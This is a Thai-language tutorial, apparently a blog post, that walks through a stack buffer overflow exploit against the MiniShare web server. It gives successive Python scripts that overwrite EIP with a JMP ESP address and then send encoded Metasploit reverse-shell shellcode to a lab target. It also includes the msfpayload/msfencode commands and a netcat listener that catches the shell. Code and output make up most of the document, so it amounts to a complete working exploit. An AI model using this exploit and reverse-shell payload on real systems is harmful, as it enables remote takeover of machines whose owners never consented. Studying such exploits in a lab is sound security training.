เราจะมาลองทำการ exploits หรือการเข้าใช้อะไรซักอย่างจาก ช่องโหว่(vulnerabilities) ดูว่ามันมีการทำงานกันอย่างไร ซึ่งเทคนิคที่ใช้ในการ exploits มักจะเกี่ยวกับการเข้าใช้งาน Memory โดยเทคนิคต่างๆ เช่น
- Buffer OverFlow
- Heap Spray
เดี๋ยวจะมาลองดูกันว่ามันเป็นอย่างไร ซึ่งฟังดูอาจจะไม่ค่อยเข้าใจ รู้แต่ว่ามันทำอย่างนี้แล้ว Hacker สามารถยึดเครื่องเราได้แล้ว แล้วจริงๆแล้วมันทำได้อย่างไร ถ้าอยากรู้ก็ต้องลอง งั้นลองเลยดีกว่าจะได้รู้เท่าทัน Hacker
สิ่งที่ต้องเตรียมในการทดสอบครั้งนี้
ที่เครื่องเป้าหมาย
เครื่องที่จะโจมตีผมจะใช้ BackTrack 5 ซึ่งมีเครื่องมือให้เราครบแล้ว
เริ่มด้วยการติดตั้ง MiniShare ก่อน
และเปิดโปรแกรมขึ้นมา เมื่อ netstat -na ดูจะเห็นว่ามี Port 80 ถูกเปิด listening อยู่
ให้เปิดโปรแกรม OllyDbg และ File->attach แล้วเลือก
ซึ่งหน้าต่างแต่ละหน้าจะแสดงข้อมูลดังนี้
ก่อนทื่จะ exploits เราจะต้องรู้ว่ามีช่องโหว่อะไรและรายละเอืยดต่างๆเกี่ยวกับช่องโหว่นั้น โดยตรวจสอบที่
security advisory ซึ่งทำให้เรารู้ว่า minishare มีช่องโหว่ที่ HTTP "GET" requests ซึ่งสามารถทำให้เกิด Buffer Overflow ได้และรู้ว่ามีผลกับเวอร์ชั่นไหนบ้าง เราสามารถรู้ได้ว่าจะ exploits อย่างไรโดยดูที่ เว็บซึ่งมีโค๊ดที่ใช้ในการ exploits นั้น เช่น
http://www.exploit-db.com/exploits/636 สำหรับ minishare
ต่อมาเราจะมาดูว่ารูปแบบมาตรฐานของ HTTT โดยตรวจสอบที่เอกสาร RFC หรือ capture packet จะพบว่า HTTP Request เริ่มด้วย "GET / HTTP/1.1" และปิดท้ายด้วย 2 new line,carriage return(\r\n\r\n)
เราจะทำการแก้ไข request นี้และจะส่งให้ minishare ดังนี้
"GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]"
Python Script
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
x41 คือ ตัวอักษร "A" ใน ascii
เปลี่ยน permission ของ script ให้สามารถรันได้ chmod +x minishart.py
ที่โปรแกรมดีบักหากสถานะยังเป็น Paused ให้เปลี่ยนเป็นรันโดยกด F9 และทำการรัน script
จะเห็นว่า register EIP มีค่า 41414141 แสดงว่าค่าที่เราส่งไปเข้าไปเขียนทับเมมโมรี่ในส่วนของโปรแกรม EIP คือ register ที่จะเก็บ address ที่ CPU จะไปทำงาน ในที่นี้เราให้ EIP ชี้ไปที่ตำแหน่งที่มีคำสั่ง JMP ESP เพื่อให้ CPU โดดไปทำงานใน ESP register คือ address stack pointer
การหา JMP ESP เราจะหาใน DLL ซึ่งถูกโหลดขึ้นมาเพื่อใช้งานของโปรแกรม ให้ไปที่ View->Executable Modules คลิกขวาที่ SHELL32.DLL เลือก View code in CPU
เลือก Search for -> Command
จากตัวอย่าง คำสั่ง JMP ESP อยู่ที่ memory address 7C9D30D7 ของ shell32.dll เราจะนำ address นี้ไปแทน address ใน EIP ดังนั้นต่อมาเราต้องหาตำแหน่งของ EIP ใน buffer ที่เราส่งไปแล้วเพื่อจะนำ address คำสั่ง JMS ESP มาใส่แทน รวมทั้งตำแหน่งของ ESP เพื่อที่จะนำโค๊ดโปรแกรมของเรามาใส่เพื่อให้ มาทำงานที่โปรแกรม เราจะใช้ Metasploit framework ซึ่งมีเครื่องมือที่จะช่วยคือ pattern_create.rb
เมื่อได้ pattern มาแล้วก็ แก้ไขโปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
เมื่อเราดีบั๊กใหม่และทำการรันโปรแกรมจะได้
จะเห็นได้ว่า EIP เราชี้ไปที่ 36684335 และ ESP มีข้อมูล "Ch7C" เพื่อจะนำมาหา offsets โดยใช้เครื่องมือของ Metasploit framework เช่นเดิม
/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335
/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C
ก็จะได้ค่าตามรูป
EIP คือตำแหน่งที่ 1787 ใน Buffer ของเรา และ ESP คือ ตำแหน่งที่ 1791 ใน buffer เรา ทำการตรวจสอบว่าถูกต้องไหมโดยแก้ไขโปรแกรมและลองรันใหม่
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41" # EIP Should be overwritten here
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer)) # ESP should point here
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
จะเห็นว่า EIP มีค่า 41414141 และ ค่าใน Stack เป็น C หมด ...ถูกต้องแล้ว
คราวนี้เราก็นำ Address ที่เราต้องการให้ไปทำมาใส่แทนได้แล้ว โดย Address นั้นเราต้องนึกถึงเรื่อง significant byte ด้วยรายละเอียดลองไปหาอ่านกันเองนะครับ Address ที่เราต้องการใส่แทนคือ 7C9D30D7 ดังนั้นในโปรแกรมเราต้องใส่แแบบนี้ D7,30,9D,7C แก้โปรแกรมกันต่อ
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7C9D30D7.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP points here.
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
restart และรันดีบั๊กอีกครั้ง และครั้งนี้เราจะกำหนด breakpoint ด้วยเพื่อจะหยุดดูโปรแกรมทำงานตรงตำแหน่ง 7C9D30D7 ซึ่งมีคำสั่ง JMP ESP โดยคลิกขวาที่หน้าต่าง CPU แล้วเลือก Go to->Expression และเลือกแถวที่ JMP ESP แล้วกด F2
มาถูกทางแล้วครับ ต่อไปเราก็จะนำ shellcode มาใส่ และในโค๊ดเราต้องไม่มี \x00, \x0a, or \x0d การสร้าง shellcode จะใช้ Metasploit framework เช่นเดิม
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,
* ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
จะเห็นว่า มี x00, \x0a and \x0d เราต้องแก้ไขโดย raw "R" output และ pipe ไปให้ msfencode ใช้ X86 architecture แปลง output เป็น c style format
user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb";
นำมาใส่โปรแกรมของเรา
#!/usr/bin/python
import socket
target_address="192.168.10.27"
target_port=80
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
ต้องใส่ NOP เข้าไปก่อน shellcode เพื่อความเสถียรของ shellcode
ในการทดสอบเราจะต้องเปิด listener รอ ที่ port 443 หรือ อื่นๆ
root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
เรียบร้อยครับ เสร็จเรา